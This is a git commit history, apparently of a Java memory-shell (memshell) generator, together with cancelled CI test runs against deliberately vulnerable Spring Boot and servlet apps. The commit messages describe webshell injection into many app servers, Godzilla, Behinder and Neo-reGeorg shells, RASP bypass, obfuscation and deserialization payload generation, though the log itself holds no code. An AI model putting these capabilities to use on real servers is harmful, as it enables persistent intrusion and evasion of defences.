Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar middleware:spr… (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar middleware:springwebflux]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war middleware:tomcat]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:glassfish]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:jetty]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:payara]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:wildfly]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:jbossas]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:jbosseap]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:resin]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:weblogic]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:websphere7]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:websphere]) (push) Has been cancelled
2025-06-07 14:35:53 +08:00
ReaJason e4552dc804 docs: add WriteCustomShell.md 2025-06-07 14:35:29 +08:00
ReaJason 57b5960350 docs: update README 2025-06-07 14:35:13 +08:00
ReaJason 4dbd22eae2 docs: update CHANGELOG 2025-06-07 14:33:57 +08:00
ReaJason 59f2ac5f37 build: use Kotlin DSL 2025-06-07 13:31:18 +08:00
ReaJason 5b48350fdc chore: upgrade Gradle 8.14.2 2025-06-07 13:31:18 +08:00
ReaJason e4691a29f5 chore: upgrade dep 2025-06-07 13:31:18 +08:00
ReaJason f74971530c fix(ui): copy button position on mobile 2025-06-07 13:31:18 +08:00
ReaJason a95cd07b22 fix(ui): input placeholder font-size on mobile 2025-06-07 13:31:18 +08:00
ReaJason d5aec65d9b refactor: combine normal and bypass JSP template 2025-06-07 13:31:18 +08:00
ReaJason 0c7dadc4f4 feat: support JBossAS ProxyValve shell 2025-06-07 13:31:18 +08:00
ReaJason 6b33cfb0fe feat: support Tomcat ProxyValve shell 2025-06-07 13:31:18 +08:00
ReaJason 18d7cde49b fix: TongWeb8 Valve not work 2025-06-07 13:31:18 +08:00
ReaJason ac34d44abd refactor: merge JBossAS and GlassFish 2025-06-07 13:31:18 +08:00
ReaJason b7b1f2b60c fix: Glassfish3 classNotFound 2025-06-07 13:31:18 +08:00
ReaJason 1c1cc9bb9f refactor: simplify base64 and getFieldValue method 2025-06-07 13:31:18 +08:00
ReaJason 2d6b45bf0c test: add servlet for Tomcat8 2025-06-07 13:31:18 +08:00
ReaJason 95cfc94276 refactor: catch Throwable 2025-06-07 13:31:18 +08:00
ReaJason d1dec18110 refactor: move method order 2025-06-07 13:31:18 +08:00
ReaJason 36ee7212f3 refactor: use TypeDescription 2025-06-07 13:31:18 +08:00
ReaJason 2852ab03d3 ci: deploy when boot or web update 2025-06-07 13:31:18 +08:00
ReaJason a655968fb3 feat: use new theme 2025-06-07 13:31:18 +08:00
ReaJason 081efc1633 chore: 1.10.0-SNAPSHOT 2025-06-07 13:31:18 +08:00
ReaJason 83f9200c89 refactor: merge memshell module 2025-06-07 13:31:18 +08:00
ReaJason 82f955e419 refactor: rename packageName 2025-06-07 13:31:18 +08:00
ReaJason db5b8d328c test: unit test failed 2025-06-07 13:31:18 +08:00
ReaJason 532b5af52c test: add Apusic pid sh 2025-06-07 13:31:18 +08:00
ReaJason 147a9b6c27 refactor: simplify generateBytes code 2025-06-07 13:31:18 +08:00
ReaJason 0452c36145 feat: support defineClass JSP packers 2025-06-07 13:31:18 +08:00
ReaJason d736aeb7a7 test: add --debug for suo5 2025-06-07 13:31:18 +08:00
ReaJason 9927e6b7fb refactor: build valve and listener shell when generate 2025-06-07 13:31:18 +08:00
ReaJason 7ea62f3961 fix: Godzilla not work on latest version 2025-06-07 13:31:18 +08:00
ReaJason 4e1461b83d docs: add Tomcat context comment 2025-06-07 13:31:18 +08:00
ReaJason 65fe194c4a docs: update screenshots 2025-05-28 22:33:49 +08:00
ReaJason 921928f21c chore: 1.9.0
Test / UniteTest (push) Has been cancelled
Test / docker-build-test (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks: middleware:xxljob]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar middleware:spr… (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar middleware:springwebflux]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war middleware:tomcat]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:glassfish]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:jetty]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:payara]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:wildfly]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:jbossas]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:jbosseap]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:resin]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:weblogic]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:websphere7]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:websphere]) (push) Has been cancelled
2025-05-28 01:22:54 +08:00
ReaJason dfd91aecc6 docs: update CHANGELOG 2025-05-28 01:22:54 +08:00
ReaJason 0f45c43e71 feat: compact mode 2025-05-28 01:22:54 +08:00
ReaJason 7b2329de45 fix: disconnected 2025-05-28 01:22:54 +08:00
ReaJason dba1b68c23 style: lint 2025-05-28 01:22:54 +08:00
ReaJason 558e386ede chore: upgrade dep 2025-05-28 01:22:54 +08:00
ReaJason f9c1ac9535 refactor: simplify shell generator 2025-05-28 01:22:54 +08:00
ReaJason ba690268e7 fix: Jakarta WebSocket not work 2025-05-28 01:22:54 +08:00
ReaJason df6125c046 refactor: use yup custom validator 2025-05-28 01:22:54 +08:00
ReaJason 55e2b2f5a6 refactor: simplify component 2025-05-28 01:22:54 +08:00
ReaJason bc9998c682 feat: use unsafe by reflection 2025-05-28 01:22:54 +08:00
ReaJason c094009b5c refactor: optimize imports 2025-05-28 01:22:54 +08:00
ReaJason e7666844df feat: support TongWeb8 2025-05-28 01:22:54 +08:00
ReaJason f2c4d16278 feat: show urlPattern option when needed 2025-05-28 01:22:54 +08:00
ReaJason be3ec77e11 fix(ui): show one column in phone 2025-05-28 01:22:54 +08:00
ReaJason 50707e1fb9 feat: shrink by default 2025-05-28 01:22:54 +08:00
ReaJason 34198a5c90 feat: support custom command implementation 2025-05-28 01:22:54 +08:00
ReaJason 88732d9a81 test: add cases 2025-05-28 01:22:54 +08:00
ReaJason d115656a0c style: lint 2025-05-28 01:22:54 +08:00
ReaJason 2beeb709b5 build: upgrade boot 2025-05-28 01:22:54 +08:00
ReaJason 6b670ffec4 feat: add diff tips for attacher 2025-05-28 01:22:54 +08:00
ReaJason ebd1bebf2f test: add JRE and JDK Attacher test cases 2025-05-28 01:22:54 +08:00
ReaJason be63177268 feat: shrink agentJar by default 2025-05-28 01:22:54 +08:00
ReaJason 77b4ffaf36 build: Gradle 8.14.1 2025-05-28 01:22:54 +08:00
ReaJason bbca89c8cf docs: update README 2025-05-28 01:22:54 +08:00
ReaJason 483bebc2fc fix: Apusic Listener not work 2025-05-28 01:22:54 +08:00
ReaJason d669a728c4 chore: upgrade example dep version 2025-05-28 01:22:54 +08:00
ReaJason d2f2809119 chore: upgrade dep 2025-05-28 01:22:54 +08:00
ReaJason d4df2f6ed7 feat: support AgentAttacher Packer 2025-05-28 01:22:54 +08:00
ReaJason f349586e09 feat: use ASM Agent by default 2025-05-28 01:22:54 +08:00
ReaJason cb39b9f26b fix: support AES_BASE64 GodzillaWebSocket by default 2025-05-28 01:22:54 +08:00
ReaJason fc3ee3e33f feat: support webAppClassLoader 2025-05-28 01:22:54 +08:00
ReaJason 7bbe433ecc refactor: remove unused code 2025-05-28 01:22:54 +08:00
ReaJason 4c2cd4e409 docs: update CHANGELOG
Test / UniteTest (push) Has been cancelled
Test / docker-build-test (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks: middleware:xxljob]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar middleware:spr… (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar middleware:springwebflux]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war middleware:tomcat]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:glassfish]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:jetty]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:payara]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:wildfly]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:jbossas]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:jbosseap]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:resin]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:weblogic]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:websphere7]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:websphere]) (push) Has been cancelled
2025-05-14 01:29:12 +08:00
ReaJason 0fe5ffe993 ci: add docker build test 2025-05-14 01:13:44 +08:00
ReaJason 730782ed9a chore: 1.8.0 2025-05-14 00:59:31 +08:00
ReaJason 0dd339fa2a docs: update 2025-05-14 00:47:22 +08:00
ReaJason eebc422503 refactor: rename 2025-05-14 00:34:32 +08:00
ReaJason bd55fce38c chore: upgrade deps 2025-05-14 00:34:32 +08:00
ReaJason 09f3258dd6 test: add godzilla ws case 2025-05-14 00:34:32 +08:00
ReaJason c0c547a738 test: update docker-compose yamls 2025-05-14 00:34:32 +08:00
ReaJason de2ff819b6 test: deploy failed in some middleware 2025-05-14 00:34:32 +08:00
ReaJason b52d7f4a83 test: godzilla websocket failed 2025-05-14 00:34:32 +08:00
ReaJason 8b9360905c feat: add websocket godzilla 2025-05-14 00:34:32 +08:00
ReaJason 5c5a0805e9 fix: jetty ee10 listener failed 2025-05-14 00:34:32 +08:00
ReaJason b304bae628 chore: update .gitignore 2025-05-14 00:34:32 +08:00
ReaJason d52f4726aa test: add jetty ee8 ~ ee10 cases 2025-05-14 00:34:32 +08:00
ReaJason 838bfa0e8a feat: support jetty ee8 ~ ee10 env 2025-05-14 00:34:32 +08:00
ReaJason f289b0a3a5 fix: scriptEngine payload error 2025-05-14 00:34:32 +08:00
ReaJason 2c16361da9 feat: add groovy definer packer 2025-05-14 00:34:32 +08:00
ReaJason d517abdea5 refactor: simplify code 2025-05-14 00:34:32 +08:00
ReaJason 1cdb231a95 fix: ws command encryptor not work 2025-05-14 00:34:32 +08:00
ReaJason e231c480da fix: downgrade runtime.exec 2025-05-14 00:34:32 +08:00
ReaJason 832124a368 fix: forkAndExec jdk7 & jdk11 2025-05-14 00:34:32 +08:00
ReaJason ceb19d2dae feat: support Primeton App Server 2025-05-14 00:34:32 +08:00
ReaJason b341082f2b fix: JDK6 forkAndExec run failed 2025-05-14 00:34:32 +08:00
ReaJason 086ea3bf2e chore: upgrade shadow Gradle plugin 2025-05-14 00:34:32 +08:00
ReaJason 831e3d34d5 test: use right JDK version 2025-05-14 00:34:32 +08:00
ReaJason 7e77f02379 feat: command unsafe bypass RASP 2025-05-14 00:34:32 +08:00
ReaJason 6933163575 fix: xxl-job NPE 2025-05-14 00:34:32 +08:00
ReaJason a883c9914e test: use pgrep command 2025-05-14 00:34:32 +08:00
ReaJason 9fb653b6f8 perf: init on startup 2025-05-14 00:34:32 +08:00
ReaJason ba9424c97e feat: support command encryptor 2025-05-14 00:34:32 +08:00
ReaJason 7e27d71f52 refactor: dynamic add getFieldValue method for Listener 2025-05-14 00:34:32 +08:00
ReaJason 3e3e35cf9f style: unify fetch threads 2025-05-14 00:34:32 +08:00
ReaJason 8b19f1aba3 test: add SpringBoot3 Tomcat test cases 2025-05-14 00:34:32 +08:00
ReaJason 75979242fb ci: speed up integration test
Test / UniteTest (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks: middleware:xxljob]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar middleware:spr… (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar middleware:springwebflux]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war middleware:tomcat]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:glassfish]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:jetty]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:payara]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:wildfly]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:jbossas]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:jbosseap]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:resin]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:weblogic]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:websphere7]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:websphere]) (push) Has been cancelled
2025-04-23 00:41:10 +08:00
ReaJason d69d8b7635 feat: shrink TemplatesImpl fooBytes 2025-04-23 00:10:48 +08:00
ReaJason 6570b191ea test: rm SpringBoot3 Tomcat testcases 2025-04-23 00:10:48 +08:00
ReaJason 3b1cd86655 test: jboss4 PermGen OOM 2025-04-23 00:10:48 +08:00
ReaJason aee8dbe8e0 fix: SpringBoot Undertow and Jetty Shell inject failed 2025-04-23 00:10:48 +08:00
ReaJason d8079e5d0f fix: SpringBoot Tomcat Shell Inject failed 2025-04-23 00:10:48 +08:00
ReaJason a5a5780eac build: upgrade bun image version for fast build
Test / UniteTest (push) Has been cancelled
Test / ${{ matrix.middleware }} (glassfish) (push) Has been cancelled
Test / ${{ matrix.middleware }} (jbossas) (push) Has been cancelled
Test / ${{ matrix.middleware }} (jbosseap) (push) Has been cancelled
Test / ${{ matrix.middleware }} (jetty) (push) Has been cancelled
Test / ${{ matrix.middleware }} (payara) (push) Has been cancelled
Test / ${{ matrix.middleware }} (resin) (push) Has been cancelled
Test / ${{ matrix.middleware }} (springmvc) (push) Has been cancelled
Test / ${{ matrix.middleware }} (springwebflux) (push) Has been cancelled
Test / ${{ matrix.middleware }} (tomcat) (push) Has been cancelled
Test / ${{ matrix.middleware }} (weblogic) (push) Has been cancelled
Test / ${{ matrix.middleware }} (websphere) (push) Has been cancelled
Test / ${{ matrix.middleware }} (websphere7) (push) Has been cancelled
Test / ${{ matrix.middleware }} (wildfly) (push) Has been cancelled
Test / ${{ matrix.middleware }} (xxljob) (push) Has been cancelled
2025-04-16 20:47:05 +08:00
ReaJason e005d30362 docs: exchange word 2025-04-13 01:20:56 +08:00
ReaJason 3f2749a05d docs: link error 2025-04-13 01:09:33 +08:00
ReaJason 02412f8681 docs: update README 2025-04-13 01:08:26 +08:00
ReaJason 2441e38bee docs: link error 2025-04-13 01:06:30 +08:00
ReaJason 60a3dd9da1 docs: update README 2025-04-13 01:04:19 +08:00
ReaJason 0214a6f814 docs: add English README 2025-04-13 01:01:36 +08:00
ReaJason c27be9a8a5 refactor: format code
Test / UniteTest (push) Has been cancelled
Test / ${{ matrix.middleware }} (glassfish) (push) Has been cancelled
Test / ${{ matrix.middleware }} (jbossas) (push) Has been cancelled
Test / ${{ matrix.middleware }} (jbosseap) (push) Has been cancelled
Test / ${{ matrix.middleware }} (jetty) (push) Has been cancelled
Test / ${{ matrix.middleware }} (payara) (push) Has been cancelled
Test / ${{ matrix.middleware }} (resin) (push) Has been cancelled
Test / ${{ matrix.middleware }} (springmvc) (push) Has been cancelled
Test / ${{ matrix.middleware }} (springwebflux) (push) Has been cancelled
Test / ${{ matrix.middleware }} (tomcat) (push) Has been cancelled
Test / ${{ matrix.middleware }} (weblogic) (push) Has been cancelled
Test / ${{ matrix.middleware }} (websphere) (push) Has been cancelled
Test / ${{ matrix.middleware }} (websphere7) (push) Has been cancelled
Test / ${{ matrix.middleware }} (wildfly) (push) Has been cancelled
Test / ${{ matrix.middleware }} (xxljob) (push) Has been cancelled
2025-04-12 21:48:23 +08:00
ReaJason 5218526279 docs: add filter and listener (#27) 2025-04-12 21:36:35 +08:00
ReaJason a9e197828e docs: add ; for code 2025-04-11 00:02:57 +08:00
ReaJason 08d187500c docs: add java servlet md (#27) 2025-04-10 23:53:19 +08:00
ReaJason c5f5b46daf docs: add recommended tools md (#27) 2025-04-10 00:04:16 +08:00
ReaJason 7ea16b924f docs: add self product intro 2025-04-08 23:04:23 +08:00
ReaJason bc6702405b docs: add memshell intro 2025-04-08 22:59:44 +08:00
ReaJason 2b98280676 docs: add maven central badge
Test / UniteTest (push) Has been cancelled
Test / ${{ matrix.middleware }} (glassfish) (push) Has been cancelled
Test / ${{ matrix.middleware }} (jbossas) (push) Has been cancelled
Test / ${{ matrix.middleware }} (jbosseap) (push) Has been cancelled
Test / ${{ matrix.middleware }} (jetty) (push) Has been cancelled
Test / ${{ matrix.middleware }} (payara) (push) Has been cancelled
Test / ${{ matrix.middleware }} (resin) (push) Has been cancelled
Test / ${{ matrix.middleware }} (springmvc) (push) Has been cancelled
Test / ${{ matrix.middleware }} (springwebflux) (push) Has been cancelled
Test / ${{ matrix.middleware }} (tomcat) (push) Has been cancelled
Test / ${{ matrix.middleware }} (weblogic) (push) Has been cancelled
Test / ${{ matrix.middleware }} (websphere) (push) Has been cancelled
Test / ${{ matrix.middleware }} (websphere7) (push) Has been cancelled
Test / ${{ matrix.middleware }} (wildfly) (push) Has been cancelled
Test / ${{ matrix.middleware }} (xxljob) (push) Has been cancelled
2025-04-06 19:07:24 +08:00
ReaJason 1db4142d48 docs: update README 2025-04-06 14:15:43 +08:00
ReaJason a8330d6af3 docs: update README 2025-04-06 14:11:13 +08:00
ReaJason 7254ba7905 chore: 1.7.0 [skip ci] 2025-04-06 14:06:05 +08:00
ReaJason b25fd4779a ci: support release maven deploy 2025-04-06 13:55:17 +08:00
ReaJason d5fbff14d5 docs: update CHANGELOG 2025-04-06 13:55:17 +08:00
ReaJason 78ba0da3a3 docs: add sdk usage example 2025-04-06 13:55:17 +08:00
ReaJason 27227f1622 test: revert error 2025-04-06 13:55:17 +08:00
ReaJason 272f9f6c49 test: assert failed 2025-04-06 13:55:17 +08:00
ReaJason accee05504 build(ui): module not found 2025-04-06 13:55:17 +08:00
ReaJason fe8e77440d test: assert failed 2025-04-06 13:55:17 +08:00
ReaJason 318e30a61d ci: update name 2025-04-06 13:55:17 +08:00
ReaJason 7572bb8018 feat: support maven deploy 2025-04-06 13:55:17 +08:00
ReaJason 79397c191a refactor: use Jackson not Fastjson for smaller jar size 2025-04-06 13:55:17 +08:00
ReaJason 6a08b9220a refactor: remove codec dependency 2025-04-06 13:55:17 +08:00
ReaJason b003bb683b fix: use snapshot version for dev 2025-04-06 13:55:17 +08:00
ReaJason e05d8ac106 refactor: rename modules 2025-04-06 13:55:17 +08:00
ReaJason 0f798b367f feat: support random param and default config (#50) 2025-04-06 13:55:17 +08:00
ReaJason fa206e8acc refactor: use react router 2025-04-06 13:55:17 +08:00
ReaJason cd231c5af7 revert: obfuscation (#13) 2025-04-06 13:55:17 +08:00
ReaJason 075053c38b chore: upgrade ui components 2025-04-06 13:55:17 +08:00
ReaJason 8d9f906dcc fix: behinder payload classname is invalid 2025-04-06 13:55:17 +08:00
ReaJason 0f87083048 feat: add three implementations for agent memshell 2025-04-06 13:55:17 +08:00
ReaJason 94432d9c14 feat: support CC payload generate 2025-04-06 13:55:17 +08:00
ReaJason 6a69bbbda4 docs: update screenshots
Test / UniteTest (push) Has been cancelled
Test / ${{ matrix.middleware }} (glassfish) (push) Has been cancelled
Test / ${{ matrix.middleware }} (jbossas) (push) Has been cancelled
Test / ${{ matrix.middleware }} (jbosseap) (push) Has been cancelled
Test / ${{ matrix.middleware }} (jetty) (push) Has been cancelled
Test / ${{ matrix.middleware }} (payara) (push) Has been cancelled
Test / ${{ matrix.middleware }} (resin) (push) Has been cancelled
Test / ${{ matrix.middleware }} (springmvc) (push) Has been cancelled
Test / ${{ matrix.middleware }} (springwebflux) (push) Has been cancelled
Test / ${{ matrix.middleware }} (tomcat) (push) Has been cancelled
Test / ${{ matrix.middleware }} (weblogic) (push) Has been cancelled
Test / ${{ matrix.middleware }} (websphere) (push) Has been cancelled
Test / ${{ matrix.middleware }} (websphere7) (push) Has been cancelled
Test / ${{ matrix.middleware }} (wildfly) (push) Has been cancelled
Test / ${{ matrix.middleware }} (xxljob) (push) Has been cancelled
2025-03-30 16:31:32 +08:00
ReaJason cb77ca44b2 docs: update README 2025-03-30 16:17:55 +08:00
ReaJason d4629f191e docs: update CHANGELOG 2025-03-30 15:33:31 +08:00
ReaJason d54bd801ab test: not support obfuscation for jetty suo5 filter 2025-03-30 15:33:31 +08:00
ReaJason 0cb8dad52a feat: add Godzilla MethodVisitor (but not working for now) 2025-03-30 15:33:31 +08:00
ReaJason d57e691e1f feat: support simple obfuscation (#13) 2025-03-30 15:33:31 +08:00
ReaJason e3a59e9f21 test: support advisor and asm agent unit test 2025-03-30 15:33:31 +08:00
ReaJason 3d2f65a808 test: update docker-compose yaml 2025-03-30 15:33:31 +08:00
ReaJason 4ee5d69b31 docs: update README 2025-03-30 15:33:31 +08:00
ReaJason 17fe4b4746 refactor: extract method 2025-03-30 15:33:31 +08:00
ReaJason e8124c02cc feat: support asm relocate to ignore server inner asm 2025-03-30 15:33:31 +08:00
ReaJason 52b8000bc7 chore: update .gitignore 2025-03-30 15:33:31 +08:00
ReaJason ee3e257f9d test: weblogic 14 asm not work on asm 9 2025-03-30 15:33:31 +08:00
ReaJason 045f6be5d7 feat: support other server command agent with asm (#51) 2025-03-30 15:33:31 +08:00
ReaJason af5001dee3 feat: support jetty command agent with asm (#51) 2025-03-30 15:33:31 +08:00
ReaJason 010db58a57 build: cannot find symbol 2025-03-30 15:33:31 +08:00
ReaJason 5965f372b0 feat: support undertow agent with asm (#51) 2025-03-30 15:33:31 +08:00
ReaJason 61f199dbe1 test: glassfish3 internal asm version too low 2025-03-30 15:33:31 +08:00
ReaJason 9b63ee441a feat: add agent memshell playground (#51) 2025-03-30 15:33:31 +08:00
ReaJason 65414fcdd6 feat: support command agent with asm on filterChain and contextValve (#51) 2025-03-30 15:33:31 +08:00
ReaJason fe5f662fc2 chore: update dep 2025-03-30 15:33:31 +08:00
ReaJason ad4436702e docs: update 2025-03-30 15:33:31 +08:00
ReaJason 78d390e975 perf: simplify jetty getContext method 2025-03-30 15:33:31 +08:00
ReaJason 29f5f4285f style: react component prop readonly 2025-03-30 15:33:31 +08:00
ReaJason e4c29fdd0f fix: dev version no update 2025-03-30 15:33:31 +08:00
ReaJason b8da9d7468 ci: add dev auto deploy 2025-03-30 15:33:31 +08:00
ReaJason 60e755cc39 feat: support custom shell generator (#49) 2025-03-30 15:33:31 +08:00
ReaJason 35bc198f48 chore: upgrade dep 2025-03-30 15:33:31 +08:00
ReaJason bcc50cc2f5 chore: rm files 2025-03-30 15:33:31 +08:00
ReaJason 5f48dd4c95 ci: rm useless steps 2025-03-09 02:14:02 +08:00
ReaJason ab4154c90c build: reduce image size 2025-03-09 02:13:35 +08:00
ReaJason 775b4eec9a docs: update CHANGELOG 2025-03-01 23:16:31 +08:00
ReaJason f6f2611b92 chore: enhance phone ui 2025-03-01 23:11:41 +08:00
ReaJason 6292e6b8b2 feat(ui): support show update button 2025-03-01 23:11:41 +08:00
ReaJason 6f332a97d8 ci: release body add update steps [skip ci] 2025-03-01 23:11:40 +08:00
ReaJason b71e8ea4de fix(ui): generate fail 2025-02-28 23:25:28 +08:00
ReaJason d14203e78f fix: NeoreGeorg proxy not work 2025-02-28 23:24:31 +08:00
ReaJason 839653bd01 style: format code 2025-02-28 22:44:10 +08:00
ReaJason badf60ebd4 chore: upgrade Gradle 8.13 2025-02-28 22:41:09 +08:00
ReaJason 6be832494d refactor(ui): separate each component into single file 2025-02-28 22:40:45 +08:00
ReaJason 945956ca16 fix: use server shell tool order 2025-02-28 22:40:45 +08:00
ReaJason 1f158158f6 refactor: simplify valve shell code 2025-02-28 22:40:45 +08:00
ReaJason a1bf202066 test: add SpringBoot1 vul case (resolved #22) 2025-02-28 22:40:45 +08:00
ReaJason 2f9ac42a3f feat: support Neo-reGeorg shell generate (#35) 2025-02-28 22:35:14 +08:00
ReaJason bb6a4c4d06 docs: update screenshots 2025-02-27 00:30:01 +08:00
ReaJason d9c0a38460 docs: update CHANGELOG 2025-02-26 20:47:05 +08:00
ReaJason 2c0f52537e test: default shrink enabled 2025-02-26 20:47:05 +08:00
ReaJason 336dcb0fda test: war file error 2025-02-26 20:24:59 +08:00
ReaJason 787e5563b4 feat: support Tomcat Jakarta WebSocket 2025-02-26 20:21:25 +08:00
ReaJason 881587dccf build(ui): enahnce cross-platform dx 2025-02-26 20:20:49 +08:00
ReaJason e10673ab38 fix: custom injectorClassName not work 2025-02-26 20:20:03 +08:00
ReaJason cf2b2af67e feat: support bytecode shrink
1. remove source file symbol (#46)
2. remove debug info when enable shrink (#29)
2025-02-26 20:19:30 +08:00
ReaJason 7927611c92 test: test compile error 2025-02-26 20:13:53 +08:00
ReaJason 8aa1e1a773 ci: release body is empty 2025-02-25 01:59:45 +08:00
ReaJason 9cd62a0620 docs: update README 2025-02-25 01:41:40 +08:00
ReaJason d004ed1dbc test: test order list is important 2025-02-25 01:41:28 +08:00
ReaJason bc103376d3 test: random name hit key words 2025-02-25 00:45:20 +08:00
